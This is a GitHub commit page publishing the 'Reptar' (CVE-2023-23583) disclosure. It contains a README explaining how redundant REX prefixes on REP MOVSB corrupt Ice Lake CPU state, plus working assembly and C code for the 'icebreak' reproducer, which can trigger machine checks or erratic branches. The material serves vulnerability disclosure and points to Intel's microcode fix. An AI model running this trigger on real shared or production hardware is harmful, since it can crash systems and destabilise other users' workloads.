Skip to content

Commit

Permalink
Merge Reptar Vulnerability Information (#64)
Browse files Browse the repository at this point in the history
* add preliminary notes on genoa observations

* fix typo

* Draft of reptar vulnerability.
  • Loading branch information
taviso authored Nov 14, 2023
1 parent 45de264 commit d2183b5
Show file tree
Hide file tree
Showing 12 changed files with 545 additions and 0 deletions.
16 changes: 16 additions & 0 deletions pocs/cpus/reptar/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
CFLAGS=-O0 -ggdb3 -march=icelake-server
LDFLAGS=-pthread -Wl,-z,noexecstack -static
NFLAGS=

.PHONY: clean

all: icebreak

%.o: %.asm
nasm $(NFLAGS) -O0 -felf64 -o $@ $^

icebreak: main.o hammer.o threads.o util.o

clean:
rm -f *.o core
rm -f icebreak
151 changes: 151 additions & 0 deletions pocs/cpus/reptar/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,151 @@
# REP MOVSB Redundant Prefixes Can Corrupt Ice Lake Microarchitectural State
<p><sup>aka "Reptar", CVE-2023-23583</sup></p>
<p align="right">
Tavis Ormandy<br/>
Eduardo Vela Nava<br/>
Josh Eads<br/>
Alexandra Sandulescu<br/>
</p>

## Introduction

If you've ever written any x86 assembly at all, you've probably used `rep movsb`.
It's the idiomatic way of moving memory around on x86. You set the *source*,
*destination*, *direction* and the *count* - then just let the processor handle
all the details!

```nasm
lea rdi, [rel dst]
lea rsi, [rel src]
std
mov rcx, 32
rep movsb
```

The actual instruction here is `movsb`, the `rep` is simply a prefix that
changes how the instruction works. In this case, it indicates that you want
this operation **rep**eated multiple times.

There are lots of other prefixes too, but they don't all apply to every
instruction.

#### Prefix Decoding

An interesting feature of x86 is that the instruction decoding is generally
quite relaxed. If you use a prefix that doesn't make sense or conflicts with
other prefixes nothing much will happen, it will usually just be ignored.

This fact is sometimes useful; compilers can use redundant prefixes to pad a
single instruction to a desirable alignment boundary.

Take a look at this snippet, this is exactly the same code as above, just a
bunch of useless or redundant prefixes have been added:

```nasm
rep lea rdi, [rel dst]
cs lea rsi, [rel src]
gs gs gs std
repnz mov rcx, 32
rep rep rep rep movsb
```

Perhaps the most interesting prefixes are `rex`, `vex` and `evex`, all of which
change how subsequent instructions are decoded.

Let's take a look at how they work.

#### The REX prefix

The i386 only had 8 general purpose registers, so you could specify which
register you want to use in just 3 bits (because 2^3 is 8).

The way that instructions were encoded took advantage of this fact, and reserved
*just* enough bits to specify any of those registers.

This is a problem, because x86-64 added 8 additional general purpose registers.
We now have sixteen possible registers..that's 2^4, so we're going
to need another bit.

The solution to this is the `rex` prefix, which gives us some spare bits that
the next instruction can borrow.

When we're talking about rex, we usually write it like this:

```nasm
rex.rxb
```

`rex` is a single-byte prefix, the first four bits are mandatory and the
remaining four bits called `b`, `x`, `r` and `w` are all optional. If you see
`rex.rb` that means only the `r` and `b` bits are set, all the others are
unset.

These optional bits give us room to encode more general purpose registers in
the following instruction.

#### Encoding Rules

So now we know that `rex` increases the available space for encoding operands,
and that useless or redundant prefixes are usually ignored on x86. So... what
should this instruction do?

```nasm
rex.rxb rep movsb
```

The `movsb` instruction doesn't have any operands - they're all implicit - so
any `rex` bits are meaningless.

If you guessed that the processor will just silently ignore the `rex` prefix,
you would be correct!

Well... except on machines that support a new feature called *fast short
repeat move*! We discovered that a bug with redundant `rex` prefixes could
interact with this feature in an unexpected way and introduce a serious
vulnerability.

#### Reproduce

We're publishing all of our research today to our [security research
repository](https://github.com/google/security-research/). If you want to
reproduce the vulnerability you can use our `icebreak` tool, I've also made a
local mirror available [here](files/icebreak.tar.gz).

```
$ ./icebreak -h
usage: ./icebreak [OPTIONS]
-c N,M Run repro threads on core N and M.
-d N Sleep N usecs between repro attempts.
-H N Spawn a hammer thread on core N.
icebreak: you must at least specify a core pair with -c! (see -h for help)
```

The testcase enters what should be an infinite loop, and unaffected systems
should see no output at all. On affected systems, a `.` is printed on each
successful reproduction.

```
$ ./icebreak -c 0,4
starting repro on cores 0 and 4
.........................................................................
.........................................................................
.........................................................................
.........................................................................
.........................................................................
```

In general, if the cores are <abbr title="Symmetric Multithreading">SMT</abbr>
siblings then you may observe random branches and if they're <abbr
title="Symmetric Multiprocessing">SMP</abbr> siblings from the same package
then you may observe machine checks.

If you do *not* specify two different cores, then you might need to use a
hammer thread to trigger a reproduction.

## Solution

Intel have
[published](https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00950.html)
updated microcode for all affected processors. Your operating system or BIOS
vendor may already have an update available!

Empty file added pocs/cpus/reptar/config.asm
Empty file.
22 changes: 22 additions & 0 deletions pocs/cpus/reptar/hammer.asm
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
BITS 64

%include "syscalls.asm"
%include "macros.asm"
%include "config.asm"

section .text

global sibling_trigger
global sibling_fault

sibling_trigger:
mfence
mov rax, SYS_sched_yield
syscall
jmp sibling_trigger
hlt

sibling_fault:
.repeat:
ud2
jmp .repeat
47 changes: 47 additions & 0 deletions pocs/cpus/reptar/icebreak.asm
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
BITS 64

%include "syscalls.asm"
%include "macros.asm"
%include "config.asm"

global icelake_repro
global icelake_buf

section .data
align 4096
dst: dq 0, 0
src: dq 0, 0
section .text

; This should be aligned on a page boundary so that we can mprotect/madvise it.
align 4096
icelake_repro:
; We ret on error, so save where we want to go.
; this is just because ret is a one-byte opcode.
push .finish
xor r8, r8 ; iteration counter
mov rax, SYS32_sched_yield ; this benchmarks better than syscall
int 0x80
xor rcx, rcx
align 32
; If you find an MCE difficult to repro, adjust this number for your SKU (try 0..8).
times 2 nop
.repeat:
inc r8 ; keep track of executions
inc rcx ; movsb count
lea rdi, [rel dst]
lea rsi, [rel src]
rep
rex
rex r
movsb
rep movsb
jmp short .repeat
.after:
lfence
; This should be unreachable
times 128 ret
.finish:
mov rax, r8
ret
hlt
21 changes: 21 additions & 0 deletions pocs/cpus/reptar/macros.asm
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@

; macro to generate rex bytes
; e.g. rex w,x,b
%macro rex 0-4
%assign _rex 0b01000000
%rep %0
%ifidni %1, W
%assign _rex _rex | 0b1000
%elifidni %1, R
%assign _rex _rex | 0b0100
%elifidni %1, X
%assign _rex _rex | 0b0010
%elifidni %1, B
%assign _rex _rex | 0b0001
%else
%error unrecognized flag %1
%endif
%rotate 1
%endrep
db _rex
%endmacro
135 changes: 135 additions & 0 deletions pocs/cpus/reptar/main.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,135 @@
#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdlib.h>
#include <pthread.h>
#include <sched.h>
#include <assert.h>
#include <unistd.h>
#include <fcntl.h>
#include <x86intrin.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <err.h>

#include "threads.h"
#include "util.h"

extern uint64_t icelake_repro();
extern uint64_t sibling_trigger();

static void * icelake_worker(void *param)
{
// Need to enable cancellation.
pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL);

icelake_repro();

pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL);

return 0;
}

static void * icelake_hammer(void *param)
{
// Need to enable cancellation.
pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL);

sibling_trigger();

pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL);

return 0;
}

static void print_help()
{
logmsg("usage: ./icebreak [OPTIONS]");
logmsg(" -c N,M Run repro threads on core N and M.");
logmsg(" -d N Sleep N usecs between repro attempts.");
logmsg(" -H N Spawn a hammer thread on core N.");
}

static struct rlimit rlim = {
.rlim_cur = 0,
.rlim_max = 0,
};

static int delay = 1000;

int main(int argc, char **argv)
{
pthread_t A = 0, B = 0;
pthread_t hammer = 0;
int coreA = -1;
int coreB = -1;
int opt;
int coreH = -1;
pid_t child;

setrlimit(RLIMIT_CORE, &rlim);

while ((opt = getopt(argc, argv, "H:hc:d:")) != -1) {
switch (opt) {
case 'c': if (sscanf(optarg, "%u,%u", &coreA, &coreB) != 2)
errx(EXIT_FAILURE, "the format required is N,M, for example: 0,1");
break;
case 'd': delay = atoi(optarg);
break;
case 'H': coreH = atoi(optarg);
break;
case 'h': print_help();
break;
default:
print_help();
errx(EXIT_FAILURE, "unrecognized commandline argument");
}
}

if (coreA < 0 || coreB < 0) {
errx(EXIT_FAILURE, "you must at least specify a core pair with -c! (see -h for help)");
}

if (coreH >= 0) {
hammer = spawn_thread_core(icelake_hammer, NULL, coreH);
logmsg("Hammer thread %p on core %d", hammer, coreH);
}

logmsg("starting repro on cores %d and %d", coreA, coreB);

do {
// Run this in a subprocess in case it crashes.
if ((child = fork()) == 0) {

// Make sure it doesn't get stuck if it jumps into an infinite loop.
alarm(5);

// Attempt to repro 64 times.
for (int i = 0; i < 64; i++) {
if (!A || pthread_tryjoin_np(A, NULL) == 0)
A = spawn_thread_core(icelake_worker, NULL, coreA);
if (!B || pthread_tryjoin_np(B, NULL) == 0)
B = spawn_thread_core(icelake_worker, NULL, coreB);

usleep(delay);
fputc('.', stderr);
}

// No luck, it might be in a weird state - restart.
pthread_cancel(A);
pthread_cancel(B);

fputc('\n', stderr);

pthread_join(A, NULL);
pthread_join(B, NULL);

_exit(0);
}
} while (waitpid(child, NULL, 0) != -1);

err(EXIT_FAILURE, "this is supposed to be unreachable, waitpid() failed");

return 0;
}
Loading

0 comments on commit d2183b5

Please sign in to comment.